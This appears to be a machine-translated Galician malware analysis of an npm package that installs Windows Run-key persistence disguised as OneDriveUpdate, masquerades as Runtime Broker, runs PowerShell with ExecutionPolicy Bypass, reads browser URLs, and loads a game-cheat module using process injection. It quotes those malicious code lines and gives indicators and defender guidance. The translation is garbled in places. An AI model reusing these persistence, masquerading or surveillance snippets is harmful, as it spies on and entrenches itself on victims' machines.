TL, RD
O paquete npm sensibilidade descríbese a si mesmo como un "Panel de control de sensibilidade". En Windows compórtase como unha ferramenta de control remoto e vixilancia.
O seu punto de entrada, launcher.js, renomea o seu propio proceso a Runtime Broker, escribe un valor de clave de execución de inicio automático chamado OneDriveUpdate que relanza o paquete a través dun VBScript oculto, xera PowerShell con -ExecutionPolicy Bypasse, a continuación, avalía unha carga útil de servidor ofuscada de 171 KB xunto cun módulo nativo de 6.87 MB, sens.node.
Serve como panel de control de emparellamento de teléfonos no porto TCP 3000 e le o URL da barra de enderezos do navegador activo a través de Windows UIAutomation, á espera dun vídeo de YouTube codificado de forma fixa.
Dúas partes que antes se lían como caixas negras xa están resoltas. O servidor ofuscado, server.obf.js, usa un esquema de matriz de cadeas RC4 de obfuscator.io; reimplementar o seu descodificador sen conexión (sen executar JavaScript) recupera un único punto final externo — https://izopi.com/check.php — xunto cunha clave pública RSA integrada que se emprega para verificar as respostas de licenza asinadas.
O módulo nativo, sens.node, non está empaquetado: a súa táboa de importación e as cadeas incrustadas identifícano como unha superposición no xogo DirectX 11 / Dear ImGui que proporciona funcións de aimbot, ESP (wall-hack) e triggerbot, impulsadas por inxección de procesos remotos e lecturas/escrituras na memoria.
As cadeas de texto no seu interior fan referencia a entidades de vehículos e localizacións no mapa de forma coherente con GTA V / FiveM. O paquete npm é o envoltorio de entrega e persistencia arredor dese módulo nativo.
O sinal definitorio é operativo, non técnico: un único editor anónimo publicou aproximadamente setenta versións dun paquete — 2.5.0 ata 2.5.69 — ao longo duns poucos días, cada un levando o mesmo lanzador.
Non hai instalacións hooksA carga útil só se executa cando se inicia o paquete.
O ataque: como funciona
sensitivity inclúe dez ficheiros. O ficheiro package.json é disperso: non hai campo de repositorio, non hai licenza, un alias main e dous alias bin (sensitivity, sens), todos eles apuntando a launcher.js, e un script de inicio do nodo launcher.js. Non hai postinstalación nin preinstalación. Nada se activa na instalación de npm. O comportamento descrito a continuación execútase cando un usuario inicia o paquete, a través do shim bin, o script de inicio ou un require.
O tarball contén o lanzador, un servidor ofuscado, o módulo nativo, un script de Visual Basic e un directorio public/web para o panel de control. launcher.js é o orquestrador lexible; a lóxica que importa en tempo de execución reside nos dous blobs que carga: un servidor ofuscado e un módulo nativo compilado, ambos resoltos a continuación.
Enmascaramento de procesos e un actualizador falso de OneDrive
Ao comezo da execución, launcher.js define o seu propio nome de proceso dúas veces:
javascript process.title = 'Runtime Broker'; Runtime Broker é un proceso lexítimo de Windows (RuntimeBroker.exe) que intermedia nos permisos das aplicacións. Cambiar o nome dun proceso de Node para que coincida con el significa que unha ollada rápida ao Xestor de tarefas non mostra nada inusual.
A persistencia escríbese a través de PowerShell en lugar dunha API de rexistro directa:
javascript execSync(`powershell -NoProfile -Command "$k='HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run';$n='OneDriveUpdate';$v='wscript.exe \"${vbs}\"';Set-ItemProperty -Path $k -Name $n -Value $v -Force|Out-Null"`, { stdio: 'ignore', timeout: 5000 }); O valor de inicio automático chámase OneDriveUpdate e non apunta directamente ao paquete. Apunta a wscript.exe que executa o OneDrive.Standalone.Updater.vbs incluído. Ese script relanza o nodo launcher.js nunha xanela oculta. Tanto o nome da tecla Executar como o nome do ficheiro VBScript toman prestada a marca de Microsoft, polo que a entrada de inicio automático lee como unha tarefa rutineira de OneDrive.
PowerShell con omisión de políticas de execución
O lanzador envía repetidamente mensaxes a PowerShell. O sumidoiro que os analizadores marcan como crítico é o lanzamento dun ficheiro .ps1 xerado coa política de execución desactivada:
javascript exec('start "Windows PowerShell" powershell -NoProfile -ExecutionPolicy Bypass -File "' + psFile + '"', { cwd: APP_DIR }); A omisión de ExecutionPolicy elimina a comprobación da sinatura de scripts local para esa invocación. Os scripts xerados xestionan o traballo de vixilancia do navegador e detección de xanelas que se describe na seguinte sección.
O servidor ofuscado e o módulo nativo
Despois da configuración, launcher.js carga e executa a súa carga útil real:
const serverCode = fs.existsSync(path.join(APP_DIR, 'server.obf.js')) ? path.join(APP_DIR, 'server.obf.js') : path.join(APP_DIR, 'server.js'); eval(fs.readFileSync(serverCode, 'utf8')); server.obf.js son 171 KB de ofuscación de matrices _0x: o patrón de JavaScript onde cada cadea e identificador se substitúe por un índice nunha matriz barallada, que logo se desreferencia no tempo de execución. O esquema é a variante RC4 producida por obfuscator.io: unha única función descodificadora descodifica en base64 unha entrada de matriz e logo a descifra en RC4 cunha clave por chamada. A reimplementación dese descodificador nun script separado (executando só a reimplementación sobre a matriz de cadeas de 821 entradas extraída, nunca o propio JavaScript do paquete) desenvólveo de forma limpa. O que aparece é modesto pero decisive: un URL externo, https://izopi.com/check.php`, asignado a unha constante LICENSE_URL; un RSA PUBLIC_KEY_PEM` incrustado; o panel local dirixe /api/kill, /api/qr.png, /api/trigger, /api/url, /trigger/off e /trigger/status; e as cadeas child_process, crypto e [Sensitivity] sens.node cargadas, sendo a última a liña de rexistro exacta que o lanzador reescribe no módulo de programa cargado. O punto final é unha comprobación de licenza: o cliente publica un identificador (o servidor ofuscado formata unha cadea de ID de Discord: %s) e a clave RSA verifica a resposta asinada do servidor.
sens.node é un complemento nativo compilado de 6.87 MB e non está empaquetado: a entropía da sección está nas versións 5.6–6.6 e as táboas de importación e exportación de PE están intactas, polo que as súas capacidades son lexibles directamente. Exporta napi_register_module_v1, o standard Punto de entrada do nodo N-API, polo que o servidor avaliado o carga cun requisito simple. A súa táboa de importación é o tell. De KERNEL32 extrae OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread, K32EnumProcessModules e Process32First/NextW: o conxunto canónico para localizar outro proceso, asignar memoria dentro del e ler ou escribir nesa memoria. De USER32 extrae GetAsyncKeyState, GetKeyState, mouse_event e SetCursorPos; vincula d3d11.dll, D3DCOMPILER_43 e dwmapi para unha superposición en pantalla e o conxunto completo de WINHTTP para chamadas de rede. As súas cadeas incrustadas nomean o conxunto de funcionalidades sen ambigüidade: Activar Aimbot, Aimbot FOV, Box ESP, Skeleton ESP, Triggerbot, ESP Builder, Vehicle ESP, Electron Anticheat detected e o banner Dear ImGui Dear ImGui 1.91.3 WIP. As cadeas de localización e entidade como Grapeseed Medical Clinic e o vocabulario de vehículo-ESP son coherentes con GTA V / FiveM.
A división é deliberada en efecto: o ficheiro launcher.js lexible só contén as partes que un escáner le facilmente (persistencia, enmascaramento, a propia chamada eval), mentres que a ofuscación oculta o único host externo, os contactos en tempo de execución, e o binario contén a superposición do xogo e a lóxica de inxección de procesos. O lanzador é o shell fino e auditable; o servidor ofuscado oculta a identidade da rede; o módulo nativo é a carga útil. Describimos as importacións e as cadeas do binario como lidas; non inferimos o propósito do operador a partir delas.
Un panel de control de emparellamento de teléfonos no porto 3000
O lanzador xestiona un servidor web local no porto TCP 3000 e trátao como un singleton. Consulta un escoitador existente e límpao antes de vincular:
javascript execSync('powershell -NoProfile -Command "$c=Get-NetTCPConnection -LocalPort 3000 -State Listen -EA 0; if($c){$c | ForEach-Object { Stop-Process -Id $_.OwningProcess -Force -EA 0 }}"', { stdio: 'ignore', timeout: 5000 }); Pódese acceder ao panel en http://localhost:3000, cun URL de reserva LAN codificado de http://192.168.1.16:3000. O directorio public/ e o comportamento do panel son coherentes cun fluxo de emparellamento QR: un teléfono escanea un código e únese ao host como un control remoto. Non aparece ningún dominio externo de comando e control en texto plano no iniciador, pero, como mostra a desofuscación anterior, hai un presente no servidor ofuscado: o punto final da licenza de izopi.com. O propio panel é local e ten ámbito LAN; o único host de saída é esa comprobación de licenza.
Un modelo de supervisor/traballador separado mantén o proceso activo. O lanzador reaparece con indicadores de ambiente SENSIVITY_SUPERVISOR e SENSIVITY_WORKER, con cada fillo executándose oculto, polo que ao matar un proceso deixa un vixilante para reinicialo.
Vixilancia do navegador e o sinal de YouTube
O comportamento máis específico é a monitorización do navegador. launcher.js compila PowerShell que impulsa a UIAutomation de Windows para ler a barra de enderezos dun navegador en execución:
javascript '$pattern = $edit.GetCurrentPattern([System.Windows.Automation.ValuePattern]::Pattern)', ValuePattern devolve o contido de texto dun elemento da IU. Aplicado ao control de edición da barra de enderezos dun navegador, devolve o URL que a vítima está a ver actualmente, sen unha extensión do navegador, sen tocar o perfil no disco e sen un gancho da API. O script xerado itera unha lista $browserNames e extrae o URL ou o título da xanela do navegador que estea en primeiro plano.
Ese URL está probado cun único obxectivo codificado de forma fixa:
javascript const TARGET_YOUTUBE_VIDEO_ID = 'wJWta2lO0Lw'; O iniciador realiza unha enquisa nun bucle de tres segundos para atopar unha xanela do navegador que mostre YouTube, e a PowerShell xerada leva un par Get-YouTubeBrowser / Test-TargetYouTubeUrl que coincide con ese ID de vídeo. O efecto observable é dobre: o URL de navegación activo lese da pantalla da vítima e detéctase a interacción do anfitrión cun vídeo específico de YouTube. Describimos o mecanismo e o obxectivo; non inferimos un motivo a partir deles.
A lectura da barra de enderezos é o que o escáner etiqueta como sensitive_data_enumeration: unha fonte Process::env e UIAutomation que alimenta un tempo de execución con capacidade de rede. Ten un aspecto benigno de forma illada e só se resolve como vixilancia unha vez que se rastrexa o ciclo de vida dos datos desde a fonte UIAutomation ata o servidor ofuscado.
Evolución da liña de tempo e das versións
A sensibilidade non é unha carga puntual. A conta do editor ten aproximadamente setenta versións publicadas deste único paquete e foron chegando novas durante a xanela de revisión. O lanzador medra característica a característica na liña 2.5.x mentres que a súa persistencia e carga de carga útil permanecen fixas.
| Data (UTC) | Versións observadas | Estado do lanzador |
|---|---|---|
| 2026-06-02 | 2.5.8 - 2.5.46 (25) | Lanzador de paneis QR básicos; persistencia da tecla de execución; avaliación do servidor ofuscado. |
| 2026-06-03 | 2.5.53 - 2.5.61 (6) | Mesma pegada dixital; supresión de rastro da consola. |
| 2026-06-04 | 2.5.67, 2.5.68 (2) | Engade un obxectivo de interacción fixado en YouTube wJWta2lO0Lw. |
| 2026-06-05 | 2.5.0 - 2.5.69 (24) | Republicación para cubrir lagoas en toda a gama; vixilancia de supervisores/traballadores. |
Ao ler o iniciador nos representantes descargados (2.5.0, 2.5.36 e 2.5.69), móstranse catro niveis. As primeiras compilacións inclúen o iniciador básico de emparellamentos QR. A partir da versión 2.5.33 aparece o recolector de barras de enderezos UIAutomation. A partir da versión 2.5.58 engádese unha capa de xestión de supervisores. A partir da versión 2.5.64, o vixilante independente de supervisores/traballadores completa o conxunto. En todo momento, catro cousas nunca cambian: a clave de execución de OneDriveUpdate, o almacenador de OneDrive.Standalone.Updater.vbs, o server.obf.js avaliado e o módulo nativo sens.node.
A onda do 05/06/2026 é salientable porque volveu publicar os números de versión baixos (da 2.5.0 á 2.5.15) que se atopan por debaixo das versións confirmadas días antes. O efecto é unha liña 2.5.x contigua no rexistro, e cada versión leva o mesmo lanzador.
Indicadores de compromiso
Todos os indicadores seguintes foron lidos directamente do ficheiro tar do paquete. O lanzador lexible só leva bucle invertido e un único enderezo LAN privado; o nome de host externo, izopi.com, foi recuperado desofuscando server.obf.js fóra de liña.
| tipo | Indicador | Notas |
|---|---|---|
| Paquete | npm:sensivity (≈70 versións, 2.5.0-2.5.69) | Publicador dun só paquete; sen repositorio; sen licenza. |
| Arquivo | launcher.js | Orquestrador lexible; obxectivo principal e bin. |
| Arquivo | server.obf.js (≈171 KB) | Carga útil de matriz de cadeas RC4 de obfuscator.io, cargada a través de eval(fs.readFileSync(...)). |
| Arquivo | sens.node (≈6.87 MB) | Complemento N-API do nodo PE32+ x86-64; SHA-256 66b674884042fca2f056d06854325ea0e8bc902d4e3cdaeafd5fe08c7d0aab40. |
| Arquivo | OneDrive.Standalone.Updater.vbs | Relanzador oculto (node launcher.js). |
| Rede | https://izopi.com/check.php | Punto final de licenza/autenticación recuperado do servidor ofuscado; a clave pública RSA integrada verifica as respostas. |
| Capacidade | OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread | Inxección de procesos remotos e capacidade de lectura/escritura en memoria. |
| Capacidade | Enable Aimbot, Box ESP, Triggerbot, Vehicle ESP, Dear ImGui 1.91.3 WIP | Superposición de xogos DirectX 11 / ImGui que implementa as funcións de aimbot, ESP e triggerbot. |
| Rexistro | HKCU\Software\Microsoft\Windows\CurrentVersion\Run → OneDriveUpdate | Valor de inicio automático que apunta a wscript.exe e o lanzador de VBScript. |
| Proceso | process.title = 'Runtime Broker' | Fascándose pasar polo proceso lexítimo de Windows Runtime Broker. |
| Comportamental | powershell -NoProfile -ExecutionPolicy Bypass -File <generated>.ps1 | Omisión da política de execución empregada para os scripts de PowerShell xerados. |
| Comportamental | UIAutomation ValuePattern lectura da barra de enderezos do navegador | Le o URL da xanela do navegador en primeiro plano. |
| Comportamental | ID do vídeo de destino wJWta2lO0LwEnquisa de YouTube de 3 segundos | Sinal de monitorización de acoplamento fixado. |
| Rede | http://localhost:3000, alternativa http://192.168.1.16:3000 | Panel de control de emparellamento de códigos QR exposto localmente e na LAN. |
| ambiente | SENSIVITY_SUPERVISOR, SENSIVITY_WORKER | Bandeiras de coordinación do proceso de vixilancia separadas. |
Atribución, impacto e defensores
O paquete publícao unha única conta npm cuxo correo electrónico declarado é un enderezo de Gmail non verificado. A conta ten unha puntuación de reputación de rexistro moi negativa, mantén e publica só este paquete e non ten un repositorio de orixe vinculado. Non verificamos a propiedade do correo electrónico e atribuímos a campaña á conta do editor, non a ningunha persoa con nome. O lanzador non leva infraestrutura de texto sen cifrar, pero o único host externo xa é coñecido: o servidor ofuscado contacta con izopi.com para unha comprobación de licenza, e o módulo nativo (lido da súa táboa e cadeas de importación en lugar de invertir instrución por instrución) é unha superposición de xogo que inxecta e le a memoria doutro proceso.
O impacto observable recae nos usuarios de Windows que instalan e executan con sensibilidade esperando unha utilidade do panel de control. Neses hosts, o paquete establece unha persistencia de inicio automático disfrazada de tarefa de OneDrive, renoméase para imitar un proceso do sistema, le o URL do que estea a navegar o usuario e configura un panel de emparellamento que vincula a máquina a un control remoto a través da rede local. O vixilante do supervisor/traballador significa que unha única finalización dun proceso non a elimina; a entrada da tecla Executar sobrevive aos reinicios. macOS e Linux non son o obxectivo do iniciador: as rutas de persistencia, PowerShell e UIAutomation son só para Windows.
A rotación de setenta versións é a tendencia que paga a pena sinalar. Republicar un paquete ducias de veces en poucos días, incluíndo o recheo de números de versión por debaixo dos xa eliminados, mantén unha copia activa no rexistro entre as eliminacións e frustra as listas de bloqueo fixadas por versión. Unha entrada na lista de bloqueo para sensitivity@2.5.61 non fai nada en contra de que sensitivity@2.5.3 se volva publicar ao día seguinte.
Os defensores poden actuar sobre o seguinte:
- Bloquear a sensibilidade do nome do paquete directamente nas listas de proxy do rexistro e nas listas de CI permitidas. Fixar versións individuais perde valor en contra da cadencia de republicación; o nome é o indicador de durabilidade.
- Busca un valor de execución chamado OneDriveUpdate cuxos datos invoquen wscript.exe contra un .vbs nunha ruta por usuario. O actualizador de OneDrive orixinal non está rexistrado deste xeito.
- Alerta sobre un proceso Node.js cuxo process.title é Runtime Broker. O broker real é RuntimeBroker.exe, non un runtime de Node.
- Marcar as buscas en tempo de instalación de npm de paquetes que inclúen un complemento .node compilado máis un eval(fs.readFileSync(…)) dun ficheiro .obf.js irmán. Esa emparellamento (binario nativo opaco cargado xunto a unha carga útil de texto ofuscada) é o indicador estrutural aquí, independente de calquera IOC de cadea.
- Trata calquera escoitador con destino local no porto 3000 xerado por un proceso Node inesperado como sospeitoso nos endpoints de Windows xestionados.
- Bloquear ou alertar sobre solicitudes saíntes a izopi.com desde hosts de desenvolvedores ou usuarios finais; é o único punto final externo do paquete, alcanzado en /check.php desde o servidor ofuscado.
- Para calquera complemento .node incluído, inspecciona a súa táboa de importación antes de confiar nel. A combinación OpenProcess + VirtualAllocEx + WriteProcessMemory + CreateRemoteThread é unha inxección de procesos remotos independentemente do que diga que fai o paquete; aquí atópase xunto a unha superposición de Direct3D e cadeas aimbot/ESP/triggerbot.
Para análise estática pipelines, a forma da convicción é duradeira ao longo da rotación de versións: un perfil de instalación fóra da rede, unha asignación de título de proceso a un nome de proceso do sistema coñecido, unha escritura de clave de execución a través de PowerShell e unha avaliación dun ficheiro lido desde o disco. Nada diso depende dun dominio, un enderezo IP ou un número de versión que a seguinte republicación poida rotar.
References
[npm: sensibilidade] – páxina de rexistro para a liña de versión do paquete que se menciona aquí; suxeita a retirada.





